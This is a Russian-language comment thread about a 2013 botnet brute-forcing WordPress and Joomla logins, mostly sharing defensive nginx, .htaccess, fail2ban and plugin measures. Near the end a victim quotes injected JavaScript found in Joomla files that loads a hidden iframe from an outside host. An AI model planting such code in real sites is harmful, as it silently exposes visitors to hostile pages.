Comments 48
Детский сад. И ваше «Обширное обсуждение идет на форуме Searchengines» — детский сад.
У меня пару серверов в даун ушло из-за этого. Несколько сайтов там на Вордпрессе брутили. Пришлось смотреть в чем проблема.
Хостер мой, конечно, позакрывал админку и login, но и без того было перенаправление, установленное плагином Better WP Security.
Удивляет, что кто-то им не пользуется, т.к. он во всех рекомендациях к wp упоминается. Особенно, доставляет автоматический бан за брутфорс и обращения к 404. И неплохо бы ставить ограничение на вход со своих IPшников.
Согласен, что это не проблема для большинства хабраюзеров, но wp часто используют не админы, а «продвинутые» пользователи, у которых настройка примитивной защиты займёт часы или дни.
Удивляет, что кто-то им не пользуется, т.к. он во всех рекомендациях к wp упоминается. Особенно, доставляет автоматический бан за брутфорс и обращения к 404. И неплохо бы ставить ограничение на вход со своих IPшников.
Согласен, что это не проблема для большинства хабраюзеров, но wp часто используют не админы, а «продвинутые» пользователи, у которых настройка примитивной защиты займёт часы или дни.
Я вот не знал, спасибо. Раньше проблем не было, сейчас и меня зацепило.
Поставил этот долбанный плагин, настроил все, проверил все — работает и сайт и защита, сразу начало брутофорсеров логировать.
Утром просыпаюсь, в метрику — а там провал. У меня душа в пятки. Сайт открывается. Думаю, может занесли в блек лист какой-то из сайтов на IP на котором вишу. Нет, все нормально. И тут я открыл статью и получил 404-ую. Эта зараза, взяла и сбросила настройки постоянных ссылок. Самое интересное, что все ведь проверял, но, скорее всего мне кеш отдавался.
После ребилда все заработало, но ночь трафика потеряна и еще не понятно, что с поисковыми позициями будет.
У меня один раз яша словил .htaccess в корне (по ошибке буквально на минуту туда отправленный) с полным запретом доступа, так выкинул все страницы из индекса и 4 месяца все восстанавливал. Так что тут, что хочешь можно ждать :)
Впредь, по 50 раз буду все проверять, особенно, когда такие плагины ставить буду.
Утром просыпаюсь, в метрику — а там провал. У меня душа в пятки. Сайт открывается. Думаю, может занесли в блек лист какой-то из сайтов на IP на котором вишу. Нет, все нормально. И тут я открыл статью и получил 404-ую. Эта зараза, взяла и сбросила настройки постоянных ссылок. Самое интересное, что все ведь проверял, но, скорее всего мне кеш отдавался.
После ребилда все заработало, но ночь трафика потеряна и еще не понятно, что с поисковыми позициями будет.
У меня один раз яша словил .htaccess в корне (по ошибке буквально на минуту туда отправленный) с полным запретом доступа, так выкинул все страницы из индекса и 4 месяца все восстанавливал. Так что тут, что хочешь можно ждать :)
Впредь, по 50 раз буду все проверять, особенно, когда такие плагины ставить буду.
В мире столько всего брутят… данная «атака» не достойна хабра
Все время все долбятся на wordpress и на ssh и на фтп, по моему этому явлению уже годы.
Не соглашусь. Атака на самом деле достаточно серьезная. У меня в блек лист пордяка 10 тыс ip ушло, причем на wp всего 5 сайтов. Пока на всех wp-login не прикрыл сервак вешался минут за 20-30. А учитывая массовость, я думаю что все же новость «достойная».
Серваки ни разу не ложились из-за этой атаки.
Подбор активней чем обычно — да.
Решается дополнительной HTTP-авторизацией на wp-login.php
Подбор активней чем обычно — да.
Решается дополнительной HTTP-авторизацией на wp-login.php
Spaceweb из-за этого прикрыл админку сайтов на Joomla и Wordpress.
Подбор на пару порядков активней шел.
Решил доп.авторизацией, плюс добавил ограничение на ip.
Кстати, коллеги, подскажите пожалуйста, у меня часть WP на nginx+php-fpm и с таким доп.ограничением были проблемы:
Написал вот так, чтобы заработало:
location = /wp-login.php {
allow xx.yy.0.0/16;
deny all;
# без этого участка обращение к wp_login.php предлагало его просто скачать, а не выполнить
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
fastcgi_pass php;
# запрашиваем доп пароль:
auth_basic «Hi! Admin»;
auth_basic_user_file /etc/nginx/adminpasswd;
}
Интересует, как можно было бы избавиться от средней части (чтобы не предлагало скачать, а выполняло скрипт).
Хотелось бы, чтобы директивы
allow xx.yy.0.0/16;
deny all;
просто запретили или пропустили дальше на следующие правила. Что то моих знаний не хватает с такой проблемой разобраться, пришлось городить среднюю часть.
Решил доп.авторизацией, плюс добавил ограничение на ip.
Кстати, коллеги, подскажите пожалуйста, у меня часть WP на nginx+php-fpm и с таким доп.ограничением были проблемы:
Написал вот так, чтобы заработало:
location = /wp-login.php {
allow xx.yy.0.0/16;
deny all;
# без этого участка обращение к wp_login.php предлагало его просто скачать, а не выполнить
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
fastcgi_pass php;
# запрашиваем доп пароль:
auth_basic «Hi! Admin»;
auth_basic_user_file /etc/nginx/adminpasswd;
}
Интересует, как можно было бы избавиться от средней части (чтобы не предлагало скачать, а выполняло скрипт).
Хотелось бы, чтобы директивы
allow xx.yy.0.0/16;
deny all;
просто запретили или пропустили дальше на следующие правила. Что то моих знаний не хватает с такой проблемой разобраться, пришлось городить среднюю часть.
на сколько я понимаю в настройке nginx, вы сделали отдельный локейшн для файла wp-login.php, следовательно nginx думает что это обычный файл, правильно будет
location =/wp-login.php {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
fastcgi_pass php;
allow xx.yy.0.0/16;
deny all;
auth_basic «Hi! Admin»;
auth_basic_user_file /etc/nginx/adminpasswd;
}
location =/wp-login.php {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root $fastcgi_script_name;
fastcgi_pass php;
allow xx.yy.0.0/16;
deny all;
auth_basic «Hi! Admin»;
auth_basic_user_file /etc/nginx/adminpasswd;
}
Спасибо за совет.
Но, вроде, мой код чуть лучше — сначала идет проверка на доступность текущему пользователю и только если он попадает в заданный диапазон, происходит парсинг входной строки, подключение параметров и уже затем выполнение скрипта.
Может как то проще можно дать разрешение только нужному диапазону и потребовать доп.аутентификацию для файла wp-login.
Для апача такую реализацию получилось сделать гораздо проще и быстрее ( с .htaccess больше приходилось работать, чем с nginx)
Но, вроде, мой код чуть лучше — сначала идет проверка на доступность текущему пользователю и только если он попадает в заданный диапазон, происходит парсинг входной строки, подключение параметров и уже затем выполнение скрипта.
Может как то проще можно дать разрешение только нужному диапазону и потребовать доп.аутентификацию для файла wp-login.
Для апача такую реализацию получилось сделать гораздо проще и быстрее ( с .htaccess больше приходилось работать, чем с nginx)
Брутили админку IPB, очень упорно, поразительно упорно.
Защитил свои wordpress сайты так
## Block user agents
location ~ ^/(wp-login\.php) {
set $block_user_agents 0;
if ($http_user_agent ~ "Gecko/20100101 Firefox/1") {
set $block_user_agents 1;
}
if ($block_user_agents = 1) {
return 403;
}
proxy_pass http://159.253.23.246:8080;
proxy_redirect http://ipod-touch-max.ru:8080/ /;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
## Block user agents
Спам боты преимущество имеют user-agent «Mozilla/5.0 (Windows NT 6.1; rv:19.0) Gecko/20100101 Firefox/19.0».
не только
108.170.22.211 — - [04/Aug/2013:00:09:29 +0200] «POST /administrator/index.php HTTP/1.0» 200 455 «-.ru/administrator/index.php» «Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10»
на одном опера, на другом мозилла
108.170.22.211 — - [04/Aug/2013:00:09:29 +0200] «POST /administrator/index.php HTTP/1.0» 200 455 «-.ru/administrator/index.php» «Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10»
на одном опера, на другом мозилла
Вот так можно еще попробовать (если внимательно логи посмотреть).
if ($http_referer !~* ^($|https?://) ){
return 403;
}
if ($http_referer !~* ^($|https?://) ){
return 403;
}
UFO just landed and posted this here
Да, брутили из 5 только 1, но с IP-адресами полный треш.
Сотни их, тысячи!
Сотни их, тысячи!
Будете рассылать, этим можете послать. Это те которые в wp-admin ломятся :)
pastebin.com/D4UmWphR
pastebin.com/D4UmWphR
Ну и я тогда свои 5 копеек добавлю.
В админку попадут только юзеры использующие оперу, а для остальных — 404.
Учитывая что обычно ботами в User-Agent используется «Mozilla/5.0», это пока работает.
<IfModule mod_rewrite.c>
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
# anti wp password bruteforce attack
RewriteCond %{REQUEST_URI} wp-login.php|wp-admin
RewriteCond %{HTTP_USER_AGENT} !^Opera/[0-9.]+
RewriteRule . - [R=404,L]
# end anti wp password bruteforce
</IfModule>
php_value upload_max_filesize 4M
В админку попадут только юзеры использующие оперу, а для остальных — 404.
Учитывая что обычно ботами в User-Agent используется «Mozilla/5.0», это пока работает.
Кстати, еще можно задать в браузере свой юзер-агент, на пример через этот плагин: addons.opera.com/en/extensions/details/user-agent-changer/
И авторизовывать (пускать к wp-login.php) только с ним. Хотя это и не очень удобно.
И авторизовывать (пускать к wp-login.php) только с ним. Хотя это и не очень удобно.
Ага брутят. Когда 100500 сайтов на WP это весьма заметно.
В наше тяжелое время без двойной авторизации уже никуда. Самое примитивное — сначала http авторизация (.htaccess) чтобы добраться до login.php. Или посложнее — чтобы логин не проигнорировал запрос, перед этим этот же ИП должен просто зайти на определенный секретный УРЛ с «пустой» страницей. Или еще сложнее — патч к ядру, который ловит нестандартный пинг и открывает порт ;)
Reg.ru тоже прикрыли админку
Да все подряд админ-панели прикрывают, а у меня ещё и ФТП закрыли…
Для тех кто считает, что это недостойно хабра — ботнет больше 100 тыс. машин и растет, не припомню атаки таких размеров на wordpress.
Для примера на одном из серверов около 15 сайтов на wordpress, по статистике apache примерно 90-95% запросов к сайтам это подбор паролей, можно представить насколько увеличилась нагрузка на сервер, трафик.
Для тех кто добавляет ip ботена в блеклист — ботнет в том числе из зараженных компьютеров пользователей, которые не смогут попасть к вам на сайты.
Письмо от хостера beget,ru, немного больше подробностей:
В течении последних двух дней идет активный перебор паролей на популярных CMS.
Ботнет, с которого осуществляется перебор, паролей превышает 100000 машин и постоянно
увеличивается, и, как показала практика, часть ботнета — компьютеры обычных
пользователей, зараженных вирусом. Блокирование таких ботов приводит к недоступности
сайтов у данных пользователей.
После взлома сайта, через инсталяцию вредоносного кода сайт подключается к
перебору паролей на других серверах. Тут нужно пояснить, что в данном случае
подвержены проблемам не только наши сервера, перебор паролей осуществляется
глобально.
Для примера на одном из серверов около 15 сайтов на wordpress, по статистике apache примерно 90-95% запросов к сайтам это подбор паролей, можно представить насколько увеличилась нагрузка на сервер, трафик.
Для тех кто добавляет ip ботена в блеклист — ботнет в том числе из зараженных компьютеров пользователей, которые не смогут попасть к вам на сайты.
Письмо от хостера beget,ru, немного больше подробностей:
В течении последних двух дней идет активный перебор паролей на популярных CMS.
Ботнет, с которого осуществляется перебор, паролей превышает 100000 машин и постоянно
увеличивается, и, как показала практика, часть ботнета — компьютеры обычных
пользователей, зараженных вирусом. Блокирование таких ботов приводит к недоступности
сайтов у данных пользователей.
После взлома сайта, через инсталяцию вредоносного кода сайт подключается к
перебору паролей на других серверах. Тут нужно пояснить, что в данном случае
подвержены проблемам не только наши сервера, перебор паролей осуществляется
глобально.
Попробуйте плагин Protected wp-login для защиты wp от брутфорс атак.
Из особенностей:
* снижение нагрузки от брутфорса.
* дополнительная защита от взлома.
* простота настройки и установки
* минимальная нагрузка на сайт от плагина. (очень легкий)
* есть русская локализация
Домашняя страничка плагина: themext.com/
Ссылка в каталоге wordpress.org/plugins/protected-wp-login/
Из особенностей:
* снижение нагрузки от брутфорса.
* дополнительная защита от взлома.
* простота настройки и установки
* минимальная нагрузка на сайт от плагина. (очень легкий)
* есть русская локализация
Домашняя страничка плагина: themext.com/
Ссылка в каталоге wordpress.org/plugins/protected-wp-login/
Спасибо, очень своевременно. Доля запросов к wp-login.php 28.11% Не самый слабый виртуальный сервер ложился уже раза три.
Попробовать fail2ban, есть и как плагин здесь.
Хотя гораздо проще руками, если есть понятие как работают фильтры fail2ban.
У меня обычно им «защищено» все что можно от pam-generic и ssh до мыла и веб-морды. Не панацея, но от брута (хотя бы в смысле экономии трафика) спасает очень.
Хорошая практика закрыть вообще любые админки и открывать белым списком IP «по стуку» или после дерганья секретного URL по https.
Хотя гораздо проще руками, если есть понятие как работают фильтры fail2ban.
У меня обычно им «защищено» все что можно от pam-generic и ssh до мыла и веб-морды. Не панацея, но от брута (хотя бы в смысле экономии трафика) спасает очень.
Хорошая практика закрыть вообще любые админки и открывать белым списком IP «по стуку» или после дерганья секретного URL по https.
Пару дней назад как раз отказалась показываться страница wp-admin.php, долго и безрезультатно бился.
Nginx на запрос страницы выбрасывал 404, что было крайне странно. Т.к. прямого доступа к хосту не было не смог глянуть что там творится.
А оказывается вот оно что…
Nginx на запрос страницы выбрасывал 404, что было крайне странно. Т.к. прямого доступа к хосту не было не смог глянуть что там творится.
А оказывается вот оно что…
более универсальный вариант, на уровне nginx — идея запретить доступ к wp-login.php всем кто не из России
http {
......
geoip_country /usr/share/GeoIP/GeoIP.dat;
map $geoip_country_code $allowed_country {
default no;
RU yes;
UA yes;
}
server{
location ~ ^/(wp-login\.php) {
if ($allowed_country = no) {
return 444;
}
}
}
}
Вообще-то не с 2-го, а гораздо раньше. Мой бложик с месяц уже активно брутфорсят. Какое было мое удивление, когда я обнаружил error_log размером 14 гигов. В итоге дабы error_log опять не расползался пришлось прикрутить через .htaccess дополнительную авторизацию на wp-login.php Не уверен, что это правильно, но работает.
Вполне себе правильно решение, как по мне.
Не поделитесь готовым примером?
Выше уже есть для nginx: habrahabr.ru/post/188932/#comment_6563652
А вообще, можно обойтись для этого location простым ограничением по IP, если это допустимо.
А вообще, можно обойтись для этого location простым ограничением по IP, если это допустимо.
пример vanoc.ru/wp-admin/
реализуется так
на инглише
support.hostgator.com/articles/specialized-help/technical/wordpress/wordpress-login-brute-force-attack
на русском
neolot.com/wordpress/wordpress-zashhita-ot-brute-force
реализуется так
на инглише
support.hostgator.com/articles/specialized-help/technical/wordpress/wordpress-login-brute-force-attack
на русском
neolot.com/wordpress/wordpress-zashhita-ot-brute-force
Есть жертвы!
Яндекс шлет письма о вредоносном коде.
Почти все джумлы на аккаунте (штук 10) в файле media/system/js/caption.js добавлен код в конец
дата изменения файлов не изменена!
Такой же код как минимум в одном файле jquery.min
Как искать дыру? Могли ли они залить скрипт на сервер? Смена паролей решит проблему?
Яндекс шлет письма о вредоносном коде.
Почти все джумлы на аккаунте (штук 10) в файле media/system/js/caption.js добавлен код в конец
var ifYnXm3 = document.createElement('iframe');
ifYnXm3.name = 'ifYnXm3';
ifYnXm3.src = 'хттп://asnem .listen-it .com/';
ifYnXm3.style.width = '0px';
ifYnXm3.style.height = '0px';
window.onload = function() {
if (document.cookie.indexOf('ifYnXm3=') == -1) {
document.getElementsByTagName('body')[0].appendChild(ifYnXm3);
document.cookie = 'ifYnXm3=yes;
path=/;
expires=Wednesday, 18-May-33 03:33:20 GMT';}
};
дата изменения файлов не изменена!
Такой же код как минимум в одном файле jquery.min
Как искать дыру? Могли ли они залить скрипт на сервер? Смена паролей решит проблему?
Sign up to leave a comment.
Большая атака ботов на Wordpress-сайты